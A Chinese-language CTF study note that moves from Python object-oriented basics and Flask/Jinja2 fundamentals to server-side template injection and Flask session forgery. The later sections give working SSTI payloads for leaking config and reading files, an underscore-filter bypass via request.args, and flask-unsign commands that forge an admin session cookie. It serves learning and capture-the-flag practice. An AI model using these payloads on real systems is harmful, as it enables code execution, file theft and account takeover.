0_week
Python基础
python的核心编程思想就是面向对象(把需要操作的每个东西,当作独立的对象)
对象的基本特性(封装、多态、继承、抽象):
封装
把属性、方法打包进一个类里,隐藏内部复杂逻辑,只对外提供简单调用接口,不让外部随便乱改内部数据。
多态
不同的子类,调用同名方法,执行不同逻辑。(有继承;有重写;统一调动)
继承
子类可以继承父类的属性和方法,还能新增自己的功能。
抽象
父类只定义方法而不写具体实现,强制子类必须重写该方法。
1 | from abc import ABC, abstractmethod |
SSTI
SSTI服务器端模板注入,恰如SQL注入利用数据库,SSTI利用服务器模板引擎
python特性
魔术属性
它的前提就是python中的任何东西(字符串、数字、列表)都是对象,而所有对象都可以向上爬取到最顶层的父类
<class 'object'>,找到所有底层工具类(拿到os模块)
| 属性 | 作用 | SSTI 风险 | 示例 |
|---|---|---|---|
__class__ |
获取对象的类 | 一般的类对象攻击链起点,获取类对象 | ''.__class__→ <class 'str'> |
__bases__ |
获取类的基类元组 | 访问继承树 | str.__bases__→ (<class 'object'>,) |
__base__ |
获取第一个基类 | 快速访问基类 | str.__base__→ <class 'object'> |
__mro__ |
方法解析顺序(继承链) | 遍历继承关系 | str.__mro__→ (str, object) |
__subclasses__() |
获取类的直接子类列表 | 极高危,访问所有加载的类 | object.__subclasses__() |
__globals__ |
获取函数所在模块的全局变量字典 | 极高危,访问模块全局变量 | func.__globals__ |
__closure__ |
获取函数的闭包变量 | 访问外层作用域变量 | func.__closure__[0].cell_contents |
__code__ |
获取函数的字节码对象 | 泄露代码信息 | func.__code__.co_filename |
__builtins__ |
内置函数和异常的集合 | 极高危,访问危险函数 | __builtins__.__import__ |
__package__ |
获取模块所属包名 | 泄露包结构信息 | os.__package__ |
__spec__ |
获取模块规范对象 | 泄露模块信息 | os.__spec__.origin |
__name__ |
获取类/函数/模块名 | 识别关键对象 | os.__name__ |
__qualname__ |
获取限定名称 | 识别嵌套对象 | Class.Method.__qualname__ |
__module__ |
获取定义模块名 | 定位模块来源 | func.__module__ |
__doc__ |
获取文档字符串 | 泄露实现细节 | os.system.__doc__ |
魔术方法
所有对象除了自带魔术属性,还自带可调用的魔术方法,可在 SSTI 模板注入中直接执行调用
| 方法 | 调用时机 | SSTI 风险 |
|---|---|---|
__new__(cls) |
创建新实例时 | 控制对象创建过程 |
__init__(self) |
对象初始化时 | 访问初始化上下文 |
__del__(self) |
对象销毁时 | 潜在后门入口 |
__getattribute__(self, name) |
所有属性访问时 | 属性访问总入口 |
__getattr__(self, name) |
属性不存在时 | 动态属性处理 |
__setattr__(self, name, value) |
设置属性时 | 修改对象状态 |
__dir__(self) |
dir()调用时 |
泄露可用属性 |
__call__(self) |
对象被调用时 | 使任意对象可调用 |
__func__ |
获取函数对象 | 访问底层函数 |
__closure__ |
访问闭包变量 | 获取外层变量 |
__enter__(self) |
进入上下文时 | 返回有风险的对象 |
__exit__(self) |
退出上下文时 | 清理操作可能被利用 |
__import__(name) |
动态导入模块 | 极高危,RCE核心 |
__reduce__(self) |
序列化对象时 | 构造恶意序列化 |
__getstate__/__setstate__ |
序列化控制 | 篡改序列化状态 |
基于Python的HTTP服务
http.server是socketserver.TCPServer的子类,它在 HTTP 套接字上创建和监听,并将请求分派给处理程序。最简单的就是python -m http.sever 8080
Flask
Flask是一个使用Python编写的轻量级Web应用框架,基于Werkzeug WSGI工具包和Jinja2模板引擎
创建一个最简单的Flask应用只需几行代码:
1 | from flask import Flask |
路由
路由是将URL映射到视图函数的机制。Flask使用装饰器来定义路由
URL:Flask支持在URL中包含变量。
HTTP方法:路由可以限定接受的HTTP方法:
1 |
|
视图函数
视图函数是处理请求并返回响应的Python函数
视图函数可返回字符串(直接显示为HTML)、HTML模板渲染结果、JSON响应、重定向、自定义响应对象…
例:
1 | from flask import Flask, render_template, jsonify, redirect, url_for |
请求对象
Flask通过
request对象提供对客户端请求数据的访问
1 | # request 是 Flask 接收前端数据的核心工具 |
响应对象
视图函数可以返回一个元组来设置响应的状态码和头信息:
1 |
|
还有用make_response函数创建自定义响应:
1 | from flask import make_response |
认识Flask中的Jinja2模板
Jinja2模板是包含静态内容和动态内容占位符的文件
默认Flask在应用的 templates目录中查找模板
模板语法
Jinja2模板支持三种主要的语法结构:
变量:{{variable}}
控制结构:{% if condition %} ... {% endif %}
注释:{# This is a comment #}
变量与过滤器
变量可以通过过滤器进行转换
1 | {{ name|capitalize }} |
常用过滤器:
attr:通过字符串获取对象属性,代替点号.
1 | # 原始:''.__class__ |
replace:字符串替换
base64_encode / base64_decode:Base64 编解码
get:获取字典键 / 列表元素,替代中括号 []
join:列表拼接为字符串
format:字符串格式化,动态拼接 payload
lower/upper: 转换大小写
reverse:反转字符串
Jinja2 模板注入(SSTI)
原理 :
若开发者直接将用户输入 作为模板变量渲染(如return render_template_string(user_input)),攻击者可注入恶意模板代码,实现任意代码执行。
Jinja2语法中的{{ }}内的表达式会被解析执行。{{config}}会泄露Flask配置信息。
案例:
1、
1 | def index(): |
方法:
访问/?name={{config}}
若配置中无 flag,尝试读取文件:{{ open('/flag').read() }}
2、
当目标过滤了_、[]、.等字符时,需用特殊语法绕过。例如过滤_时,可利用request.args传递下划线。
绕过原理:request.args是 Flask 的请求参数对象,可通过request.args.x获取?x=xxx中的值。若 url 为/?x=_,则request.args.x等价于'_'
方法:
原始payload:{{ ().__class__.__base__.__subclasses__() }}
过滤后,request.args传参:
URL:/?x=__&payload={{ ().__getattribute__(request.args.x~'class'~request.args.x) }}
完整payload:
1 | # URL: |
Session伪造
原理
Flask 的 Session 存储在客户端 cookie 中,通过SECRET_KEY签名验证。若SECRET_KEY泄露,攻击者可伪造任意 Session 数据(如修改user_id为管理员 ID)。
Flask Session 是经 Base64 编码 +SECRET_KEY签名的字典
方法
通过 SSTI 漏洞({{config}})或代码泄露(如app.py中硬编码)得到SECRET_KEY = 'ctf_secret_key'。
安装工具:pip install flask-unsign
解密现有 Session(查看结构)
1 | flask-unsign --decode --cookie ".eJw9kU1v..." --secret 'ctf_secret_key' |
伪造管理员 Session
1 | flask-unsign --sign --cookie "{'user_id': 0, 'is_admin': True}" --secret 'ctf_secret_key' |
替换浏览器 cookie,访问管理员页面获取 flag




